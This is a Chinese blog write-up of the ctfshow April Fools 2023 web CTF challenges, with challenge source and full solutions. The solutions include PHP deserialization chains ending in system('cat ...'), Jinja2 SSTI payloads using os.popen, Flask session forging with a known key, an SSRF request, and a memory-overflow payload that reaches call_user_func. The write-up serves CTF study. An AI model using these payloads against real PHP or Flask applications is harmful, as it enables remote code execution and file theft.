ctfshow愚人杯2023

本文最后更新于 2025年1月24日 下午

easy_signin

1
https://87df7daa-eb80-48de-814d-63d0ab5a03f1.challenge.ctf.show/?img=aW5kZXgucGhw

index.php进行编码

然后复制源码,base64解码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-03-27 10:30:30
# @Last Modified by: h1xa
# @Last Modified time: 2023-03-28 12:15:33
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

$image=$_GET['img'];

$flag = "ctfshow{70fd90ae-09b5-46f2-b5f1-64c3344651a2}";
if(isset($image)){
$image = base64_decode($image);
$data = base64_encode(file_get_contents($image));
echo "<img src='data:image/png;base64,$data'/>";
}else{
$image = base64_encode("face.png");
header("location:/?img=".$image);
}

被遗忘的反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
<?php

# 当前目录中有一个txt文件哦
error_reporting(0);
show_source(__FILE__);
include("check.php");

class EeE{
public $text;
public $eeee;
public function __wakeup(){
if ($this->text == "aaaa"){
echo lcfirst($this->text);
}
}

public function __get($kk){
echo "$kk,eeeeeeeeeeeee";
}

public function __clone(){
$a = new cycycycy;
$a -> aaa();
}

}

class cycycycy{
public $a;
private $b;

public function aaa(){
$get = $_GET['get'];
$get = cipher($get);
if($get === "p8vfuv8g8v8py"){
eval($_POST["eval"]);
}
}


public function __invoke(){
$a_a = $this -> a;
echo "\$a_a\$";
}
}

class gBoBg{
public $name;
public $file;
public $coos;
private $eeee="-_-";
public function __toString(){
if(isset($this->name)){
$a = new $this->coos($this->file);
echo $a;
}else if(!isset($this -> file)){
return $this->coos->name;
}else{
$aa = $this->coos;
$bb = $this->file;
return $aa();
}
}
}

class w_wuw_w{
public $aaa;
public $key;
public $file;
public function __wakeup(){
if(!preg_match("/php|63|\*|\?/i",$this -> key)){
$this->key = file_get_contents($this -> file);
}else{
echo "不行哦";
}
}

public function __destruct(){
echo $this->aaa;
}

public function __invoke(){
$this -> aaa = clone new EeE;
}
}

$_ip = $_SERVER["HTTP_AAAAAA"];
unserialize($_ip);

方法一:php原生类读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<?php
class EeE{
public $text;
public $eeee;
public function __wakeup(){
if ($this->text == "aaaa"){
echo lcfirst($this->text);//lcfirst() 是 PHP 中的一个字符串函数,用于将字符串的第一个字符转换为小写
}
}
public function __get($kk){
echo "$kk,eeeeeeeeeeeee";
}
public function __clone(){
$a = new cycycycy;
$a -> aaa();
}
}
class cycycycy{
public $a;
private $b;
public function aaa(){
$get = $_GET['get'];
$get = cipher($get);//加密
if($get === "p8vfuv8g8v8py"){
eval($_POST["eval"]);//利用点
}
}
public function __invoke(){
$a_a = $this -> a;
echo "\$a_a\$";
}
}
class gBoBg{
public $name;
public $file;
public $coos;
//private $eeee="-_-";
public function __toString(){
if(isset($this->name)){
$a = new $this->coos($this->file);
echo $a;
}else if(!isset($this -> file)){
return $this->coos->name;
}else{
$aa = $this->coos;
$bb = $this->file;
return $aa();
}
}
}

class w_wuw_w{
public $aaa;
public $key;
public $file;
public function __wakeup(){
if(!preg_match("/php|63|\*|\?/i",$this -> key)){
$this->key = file_get_contents($this -> file);
}else{
echo "不行哦";
}
}
public function __invoke(){
$this -> aaa = clone new EeE;
}
}

$exp=new w_wuw_w();
$exp->file='';
$exp->aaa=new gBoBg();
$exp->aaa->name=1;
//$exp->aaa->file="glob:///*f*";
//$exp->aaa->coos="DirectoryIterator";
$exp->aaa->file="/f1agaaa";
$exp->aaa->coos="SplFileObject";
echo serialize($exp);

方法二:pop链

1
2
3
4
$exp=new w_wuw_w();
$exp->aaa=&$exp->key;
$exp->file="check.php";
echo serialize($exp);

看一下cycycy的要求,用脚本解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function decryptShift($str) {
// 输入长度检查
if (strlen($str) > 10000) {
exit(-1);
}

// 定义字符集和移位值
$charset = "qwertyuiopasdfghjklzxcvbnm123456789";
$shift = 4;
$shifted = "";

// 遍历输入字符串
for ($i = 0; $i < strlen($str); $i++) {
$char = $str[$i];
$pos = strpos($charset, $char);

// 如果字符在字符集中
if ($pos !== false) {
// 计算新的字符位置
$new_pos = ($pos - $shift + strlen($charset)) % strlen($charset);
$shifted .= $charset[$new_pos];
} else {
// 保留非字符集中的字符
$shifted .= $char;
}
}

return $shifted;
}

是一个简单的替换密码(替换密码)解密函数,具有以下特点:

  • 使用特定字符集

  • 向左移动4个位置解密

  • 对非字符集字符保持不变

解密后原来的是:fe1ka1ele1efp

现在来看链子,简单反推一下

1
cycycycy::aaa()<==EeE::__clone<==w_wuw_w::__invoke<==gBoBg::__toString

__toString需要进入else里

1
2
3
4
5
$poc=new EeE();
$poc->text=new gBoBg();
$poc->text->file="1";
$poc->text->coos=new w_wuw_w();
echo serialize($poc);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST /?get=fe1ka1ele1efp HTTP/1.1
Host: 77d671a3-19d1-49b0-85c2-6aadce1bd9e3.challenge.ctf.show
Content-Length: 40
Cache-Control: max-age=0
Sec-Ch-Ua: "Not A(Brand";v="8", "Chromium";v="132", "Microsoft Edge";v="132"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Origin: https://77d671a3-19d1-49b0-85c2-6aadce1bd9e3.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/132.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://77d671a3-19d1-49b0-85c2-6aadce1bd9e3.challenge.ctf.show/?get=fe1ka1ele1efp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Aaaaaa: O:3:"EeE":2:{s:4:"text";O:5:"gBoBg":3:{s:4:"name";N;s:4:"file";s:1:"1";s:4:"coos";O:7:"w_wuw_w":3:{s:3:"aaa";N;s:3:"key";N;s:4:"file";N;}}s:4:"eeee";N;}
Sec-Fetch-User: ?1
Priority: u=0, i
Connection: close

eval=system%28%27cat+%2Ff1agaaa%27%29%3B

easy_ssti

访问/app.zip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from flask import Flask
from flask import render_template_string,render_template
app = Flask(__name__)

@app.route('/hello/')
def hello(name=None):
return render_template('hello.html',name=name)
@app.route('/hello/<name>')
def hellodear(name):
if "ge" in name:
return render_template_string('hello %s' % name)
elif "f" not in name:
return render_template_string('hello %s' % name)
else:
return 'Nonononon'

1
/hello/{{'ge'.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat app.py').read()}}

没什么东西,不能直接使用/,会爆404

1
/hello/{{'ge'.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cd ..;cat *l*').read()}}

暗网聊天室

偏密码,刚好我有一点密码基础

1
-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEAtm3qAxgIqNEA43bQJRnfidsQRjTgZH46T2B14nNhR2rlhQLSdsEAK9tWBT3htMYX7J3hxWfYdchpKRKGjmLFlJ2gxNkHUpLTCPS8MCCiS6Qy1MCr0INkFX2+YBGeIpMWGKW5N/bYqCsmid2AX+/N+Y77mu3wu09tquEVLecVexxG7Xl0Na12/bV2Fn0xTLDg03rP9Ei/2LxFPzqC3hA2mXBR9UeJ7x408QWn06djOLsRsHuic+ikFprqqs0o24zgAmO/8FPYbAewrHurLUjZZ4ZCbdRaVLhm1TVnmlaxhAs04wpTtmxGidIiWvj7BMMfstHWdB6CwdEPVay6pXqU7QIDAQABAoIBAASNG3B2Ugj8JdyG40x5p8UFrRNDUHHRYF0ImAhNPpkMhqtZ1axWxk1RzISW9aGP65rgmXhWTeUqWc1HhAnbVviNMiyXCYK63P71NBizR7lBYG9EW0T5ci7DE1PMPLi6GKwGvmcyBlezs+NunjxGfEoEkixcUUwrAB5qPSAHCtcmY5ZR5iDdmjBkPDVXCa1ZjLouZNBajAOADOMuCRDUQukrbmnzrEJIC6/C14DnYI8YEyqhyJRYG4D7zmPm6V1zgdm/eGLZ7TvdXwSbPCEaWly9CaTJonwVbtaUOnHKWctZ2OpqlphIPC6OfJL3795gi6/VdL4/c4dcyzPYDYWFN4ECgYEAv7AdpswQ6XJd53YmektNZXg1zKwZNGo+LUVtcc62kex4qckrDN4Zf34YlWAq3RWniIFIUuLzrbV1i15WZOb9JOkA46V45s2gRKJztkstLsBHFnTrUfSBWIXIQOYnRHJIr4avkKHv8MeFgJHLJ6Ys78cJ/68VLrSBQDl+jrG3w40CgYEA86KWIng3FXPKE3fnYy1Zwxwmo1dRJpcJEk2UqUWhZTIApZtsJvUZseDCSSK2Yl05ErP72aU0PhOXxR46IQ+DKFk38CCH8h8Di6u7vvfz+vZBJbyV2Up2y0tYUrLO4mQEjcZG4BERUljR21WL8+NMHgMWgXuShd86bSahgpreDuECgYBWpwygbDtw7Ixap+R5ADV6mz7myR2TvjthR7NT8ThC+v0I87GMXZJ1OdFvJUv7KWDUqmzBW2sAqbj7SagQcQMafmIyhokC/Q1oOW/Jhm5kZfM8yZnfMIKQO9nszJ4PqQIGpwIShcHrvKYzGrUVtV82/Wkdtk4DEQIkwFjftKL3uQKBgQCc/5Cv9bfJYyw9D29UQc0uJd3gNExfCcUWvlemHPC8PVSdY2J2WEuOjL+mUXAmQtycaM9KmWLo/cc3hxr+Yvip75RUcSIprEKkpq39idr3RekFYFlQBOQ4bP0ljYQz7y/gDH1vto/q+MGDDcV6DGbokCTYm8D387m6zMIXX6TpAQKBgB5Akq1mIREl8qCKDdP4UROGt+ewfAPXTqSmMeBAjrpd5WiaUqEk9++z6rU5YFQosiUqRUWbkH4oZgIBwfwq1f3/BuyEZHN5sht/ug6LrBwctLcZkvhEF6yTXJF389R3jtLkeJ2NVPu7eHCE+QgEJw3VBJShV175gM4WJXNxg0ve\n-----END RSA PRIVATE KEY-----

访问robots.txt进行跟进可以查看

1
if request.args.get('api', None) is not None: api = request.args.get('api') if re.search(r'^[\d\.:]+$', api): get = requests.get('http://'+api) html += '' return html

/shop里有

1
2
3
4
非常抱歉,本网站因被黑客攻击正在抢修中...

Your IP:2.56.12.89
您的访问已记入日志。

ssrf访问看看?api=127.0.0.1:9999

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
非常抱歉,本网站因被黑客攻击正在抢修中...<br>
<br>
Your IP:2.56.12.89<br>
您的访问已记入日志。<br>
<!--你先好好看看自己私钥啥格式,别漏了"\n"
"public_key1": "-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtm3qAxgIqNEA43bQJRnf
idsQRjTgZH46T2B14nNhR2rlhQLSdsEAK9tWBT3htMYX7J3hxWfYdchpKRKGjmLF
lJ2gxNkHUpLTCPS8MCCiS6Qy1MCr0INkFX2+YBGeIpMWGKW5N/bYqCsmid2AX+/N
+Y77mu3wu09tquEVLecVexxG7Xl0Na12/bV2Fn0xTLDg03rP9Ei/2LxFPzqC3hA2
mXBR9UeJ7x408QWn06djOLsRsHuic+ikFprqqs0o24zgAmO/8FPYbAewrHurLUjZ
Z4ZCbdRaVLhm1TVnmlaxhAs04wpTtmxGidIiWvj7BMMfstHWdB6CwdEPVay6pXqU
7QIDAQAB
-----END PUBLIC KEY-----", "
public_key2": "-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwR9LnCaoWXD6dLZ/VWdp
TqfOzQepG2CT4hHgS4wwJHxAMicdxW5/0rju2wOCPLGElbjBWJF2XkmmfHCKT5DA
re15vT2Rq9JjqPqvQmRSqUtgEf1tmYOtpWf1NbiBAEuJH2Qh/MSiz9m8l1ko47i/
DLZbVxce1PTFAX6jHW82vdWvUfHW09OgzGUGWWn8JLqsDqjiP3GyZXRPk1A0VBny
1wiEymMGTksBJrrgYN2w0Nh51M5jOaY1tMeCTyU/bc2cVl2hkuXv+oFVxNNUiGIi
UCz2Q+rPU7hx/pEYorlQpxgA9nGAFxktPZOhdrUZwor3QIBSqS2wOEV5mMvillX8
LwIDAQAB
-----END PUBLIC KEY-----", "
public_key3": "-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAov3d5NOzAqvPBWvjKARs
zrnM+tP7oJ958XN17me+Icrr0cY6RLeiYV4KCncO6A9NO4/4GHCmvQWc/KKqzhG4
JzmJfAHAZi+GgO4P4Q+pUr3H0EiAXOErCoVg4Is/iOpH5IXkUPp0xdRbxmfChsEM
f8dfK9E0nCsHSyaZDfnOYSw+OT9DB1q4i39QYd4p33TDGXiYOfwlrmCNOlSpBBCW
xIsUDFAMsB0qqvXDynUcpJncnbvlcSv7G9wFXN2QCQ2dMRu2AplLfSG38TArjM+i
wu61l120axlJupzfRaBTGph5dmnY/Om1Do2v0WYcFuoILXyYl40Rc62eYd/qfNq0
oQIDAQAB
-----END PUBLIC KEY-----"-->

(密文1)通过私钥1解密为(密文2+IP2)
(密文2)通过私钥2解密为(密文3+IP3)

按照规则解密就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import re
import requests
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
from flask import Flask, request, abort

url = 'http://ee52a6dc-7516-41b7-84a6-8baf0ce728ed.challenge.ctf.show/'

# 加密
def encrypt(plaintext, public_key):
cipher = PKCS1_v1_5.new(RSA.importKey(public_key))

ciphertext = ''
for i in range(0, len(plaintext), 128):
ciphertext += cipher.encrypt(plaintext[i:i+128].encode('utf-8')).hex()

return ciphertext

def get_plaintext_half():
text = requests.get(url+'/update').text
return re.findall('[^@]*\.92', text)[0]

def get_public_key(public_key):
text = requests.get(url+'/shop?api=127.0.0.1:9999').text
return re.findall('-----BEGIN PUBLIC KEY-----\n.*\n.*\n.*\n.*\n.*\n.*\n.*\n-----END PUBLIC KEY-----', text)[public_key-1]

IP = '2.56.12.89'
plaintext_half = get_plaintext_half() # 获取解密后的数据

# 获取公钥2、3
public_key2 = get_public_key(2).replace('\n','').replace('-----BEGIN PUBLIC KEY-----','-----BEGIN PUBLIC KEY-----\n').replace('-----END PUBLIC KEY-----','\n-----END PUBLIC KEY-----')
public_key3 = get_public_key(3).replace('\n','').replace('-----BEGIN PUBLIC KEY-----','-----BEGIN PUBLIC KEY-----\n').replace('-----END PUBLIC KEY-----','\n-----END PUBLIC KEY-----')

# 两次加密
IP_ciphertext = encrypt(IP, public_key3)
IP_ciphertext = encrypt(IP_ciphertext, public_key2)

# 替换最终IP
plaintext_half_new = plaintext_half[:2048] + IP_ciphertext + plaintext_half[4096:]

# 请求
requests.post(url + '/pass_message',data = {'message':plaintext_half_new})
# 接收明文
text = requests.get(url+'/update').text
flag = re.findall('ctfshow{.*}', text)[0]
print(flag)
input()

easy_flask

先注册再污染进入

1
2
3
4
5
6
7
8
┌──(orange㉿Coyano)-[/mnt/c/Users/0raN9e/Desktop/tools/Web/flask-session-cookie-manager-master]
└─$ python3 flask_session_cookie_manager3.py decode -c "eyJsb2dnZWRpbiI6dHJ1ZSwicm9sZSI6InVzZXIiLCJ1c2VybmFtZSI6ImFhYSJ9.Z5JdrQ.3_tR_jZIfQeH088AGanlOKn9Hdc" -s "S3cr3tK3y"
{'loggedin': True, 'role': 'user', 'username': 'aaa'}

┌──(orange㉿Coyano)-[/mnt/c/Users/0raN9e/Desktop/tools/Web/flask-session-cookie-manager-master]
└─$ python3 flask_session_cookie_manager3.py encode -s "S3cr3tK3y" -t "{'loggedin': True, 'role': 'admin', 'username': '
admin'}"
.eJyrVsrJT09PTcnMU7IqKSpN1VEqys9JVbJSSkzJBYrpKJUWpxblJeYihGoBzOYRgA.Z5JgGw.x-9-8k9A2HGtBNqa67ybSnLzbp4

进去发现下载的是假flag,可以/download/?filename=app.py读取一下,发现在hello可以执行命令

1
/hello/?eval=__import__('os').popen('cat /flag_is_h3re').read()

easy_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-03-24 10:16:33
# @Last Modified by: h1xa
# @Last Modified time: 2023-03-25 00:25:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
class ctfshow{

public function __wakeup(){
die("not allowed!");
}

public function __destruct(){
system($this->ctfshow);
}

}

$data = $_GET['1+1>2'];

if(!preg_match("/^[Oa]:[\d]+/i", $data)){
unserialize($data);
}


?>
1
2
3
4
5
6
7
正则表达式 /^[Oa]:[\d]+/i 的含义如下:

^:表示匹配字符串的开头。
[Oa]:表示匹配字符 O 或 a,不区分大小写(因为有 i 标志)。
::匹配冒号字符。
[\d]+:匹配一个或多个数字,[\d] 表示数字字符,+ 表示匹配一个或多个。
/i:表示不区分大小写。

学一下boogipop师傅的文章[愚人杯3rd easy_php\ - Boogiepop Doesn’t Laugh](https://boogipop.com/2023/04/02/愚人杯3rd [easy_php]/)

PHP7.3 __wakeup绕过,ArrayObject内置类众所周知可以使用C进行绕过wakeup

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class ctfshow{

#public $ctfshow ="ls /";
public $ctfshow ="cat /f1agaaa";
}

$data = $_GET['1+1>2'];//1%2b1>2绕过

$exp=new ArrayObject();
$exp->a=new ctfshow();
echo serialize($exp);

除此之外还有几个可以构造的类,我不再讲述,可以参考boogipop师傅的文章

easy_class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
<?php
namespace ctfshow;

class C{

const __REF_OFFSET_1 = 0x41;//通常出现在编译器生成的汇编代码或底层代码中。它是一个符号(symbol),表示引用偏移量(reference offset)。
const __REF_OFFSET_2 = 0x7b;
const __REF_OFFSET_3 = 0x5b;
const __REF_OFFSET_4 = 0x60;
const __REF_OFFSET_5 = 0x30;
const __REF_OFFSET_6 = 0x5f;

const __REF_SIZE__= 20;// 通常表示引用(reference)的大小。这是一个编译器预定义的常量或宏,用于获取引用类型的大小。
const __REF_VAL_SIZE__= 50;//通常表示引用所指向的值(value)的大小,关注的是被引用的数据本身的大小,而不是引用本身的大小。

private $cursor = 0; // 文件指针位置
private $cache; // 内存文件流
private $ref_table = []; // 引用表,存储各个引用的位置



function main(){
$flag = md5(file_get_contents("/flag"));
$this->define('ctfshow',self::__REF_VAL_SIZE__);
$this->define('flag',strlen($flag));
$this->neaten();
$this->fill('flag',$flag);
$this->fill('ctfshow',$_POST['data']);

if($this->read('ctfshow')===$this->read('flag')){
echo $flag;
}
}

private function fill($ref,$val){
rewind($this->cache);
fseek($this->cache, $this->ref_table[$ref]+23);

// 写入数据
$arr = str_split($val);

foreach ($arr as $s) {
fwrite($this->cache, pack("C",ord($s)));
}

for ($i=sizeof($arr); $i < self::__REF_VAL_SIZE__; $i++) {
fwrite($this->cache, pack("C","\x00"));
}

$this->cursor= ftell($this->cache);
}

public static function clear($var){
;
}

private function neaten(){
$this->ref_table['_clear_']=$this->cursor;
$arr = str_split("_clear_");
foreach ($arr as $s) {
$this->write(ord($s),"C");
}
for ($i=sizeof($arr); $i < self::__REF_SIZE__; $i++) {
$this->write("\x00",'C');
}

$arr = str_split(__NAMESPACE__."\C::clear");
foreach ($arr as $s) {
$this->write(ord($s),"C");
}

$this->write(0x36d,'Q');
$this->write(0x30,'C');

for ($i=1; $i < self::__REF_SIZE__; $i++) {
$this->write("\x00",'C');
}


}

private function readNeaten(){
rewind($this->cache);
fseek($this->cache, $this->ref_table['_clear_']+self::__REF_SIZE__);
$f = $this->truncation(fread($this->cache, self::__REF_SIZE__-4));
$t = $this->truncation(fread($this->cache, self::__REF_SIZE__-12));
$p = $this->truncation(fread($this->cache, self::__REF_SIZE__));
call_user_func($f,$p);

}

private function define($ref,$size){

$this->checkRef($ref);// 检查引用名是否合法
// 写入引用名
$r = str_split($ref);
$this->ref_table[$ref]=$this->cursor;
// 写入大小信息
foreach ($r as $s) {
$this->write(ord($s),"C");
}
for ($i=sizeof($r); $i < self::__REF_SIZE__; $i++) {
$this->write("\x00",'C');
}


fwrite($this->cache,pack("v",$size));
fwrite($this->cache,pack("C",0x31));
$this->cursor= ftell($this->cache);
// 填充空字节
for ($i=0; $i < $size; $i++) {
$this->write("\x00",'a');
}

}

private function read($ref){

if(!array_key_exists($ref,$this->ref_table)){
throw new \Exception("Ref not exists!", 1);
}

if($this->ref_table[$ref]!=0){
$this->seekCursor($this->ref_table[$ref]);
}else{
rewind($this->cache);
}

$cref = fread($this->cache, 20);
$csize = unpack("v", fread($this->cache, 2));
$usize = fread($this->cache, 1);

$val = fread($this->cache, $csize[1]);

return $this->truncation($val);


}


private function write($val,$fmt){
$this->seek();
fwrite($this->cache,pack($fmt,$val));
$this->cursor= ftell($this->cache);
}

private function seek(){
rewind($this->cache);
fseek($this->cache, $this->cursor);
}

private function truncation($data){

return implode(array_filter(str_split($data),function($var){
return $var!=="\x00";
}));

}
private function seekCursor($cursor){
rewind($this->cache);
fseek($this->cache, $cursor);
}
private function checkRef($ref){
$r = str_split($ref);

if(sizeof($r)>self::__REF_SIZE__){
throw new \Exception("Refenerce size too long!", 1);
}

if(is_numeric($r[0]) || $this->checkByte($r[0])){
throw new \Exception("Ref invalid!", 1);
}

array_shift($r);

foreach ($r as $s) {

if($this->checkByte($s)){
throw new \Exception("Ref invalid!", 1);
}
}
}

private function checkByte($check){
if(ord($check) <=self::__REF_OFFSET_5 || ord($check) >=self::__REF_OFFSET_2 ){
return true;
}

if(ord($check) >=self::__REF_OFFSET_3 && ord($check) <= self::__REF_OFFSET_4
&& ord($check) !== self::__REF_OFFSET_6){
return true;
}

return false;

}

function __construct(){
$this->cache=fopen("php://memory","wb");
}

public function __destruct(){
$this->readNeaten();
fclose($this->cache);
}

}
highlight_file(__FILE__);
error_reporting(0);
$c = new C;

$c->main();
1
php://memory 是一个类似文件 包装器的数据流,允许读写临时数据php://memory 总是把数据储存在内存中。
1
2
3
4
5
6
7
8
9
关键漏洞点可能在于:
字符串截断:truncation()函数移除了null字节
内存操作:文件指针的定位和操作可能存在问题
命名空间调用:通过readNeaten()函数可能触发任意函数调用

要成功获取flag,需要:
绕过checkRef()和checkByte()的检查
构造特定的POST数据使read('ctfshow') === read('flag')
可能需要利用文件操作或字符串截断的漏洞

不太懂pwn跟这官p浮现一下

cache开了一个php缓存流,然后存入几个键值对,最后让你post一个值,你要利用这个post的值(空字符填充,ban掉了\x00就用\0)来把原始的$f$p冲掉来换成自己的值最后利用call_user_func来RCE

main()函数中可以填充任意数量的字符放入由ctfshow开辟的大小为50的内存空间中。

没有数量限制,溢出

1
data=111111111111111111111111111111111111111111111111111111111111111111111111111111111system%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00cat /f*

ctfshow愚人杯2023
https://0ran9ewww.github.io/2025/01/24/ctfshow/ctfshow愚人杯2023/
作者
orange
发布于
2025年1月24日
更新于
2025年1月24日
许可协议